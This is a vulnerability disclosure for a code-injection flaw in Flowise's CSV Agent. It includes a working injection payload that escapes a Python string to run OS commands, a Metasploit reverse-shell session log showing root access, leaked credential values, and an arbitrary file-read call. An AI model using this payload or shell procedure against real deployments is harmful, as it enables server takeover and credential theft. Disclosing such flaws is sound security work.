Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified

UPDATE 2026-05-20: Full RCE as root VERIFIED

This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.

Verified Exploit Chain

1. Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161)
2. Pyodide js bridge provides access to the host Node.js process
3. process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)

Working RCE Payload

";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#

Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.

Metasploit Session Proof

msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit

[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)

meterpreter > getuid
Server username: root

meterpreter > sysinfo
Computer     : cbce3fb352b7
OS           : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter  : x64/linux

meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux

Additional Verified Impact

Credential Theft:

FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...

Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7

Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely.

CVSS v3.1: 9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

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Original Report (below)

Vulnerable Code

File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on content.

Lines 155-171 — Direct interpolation into executable Python code: is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.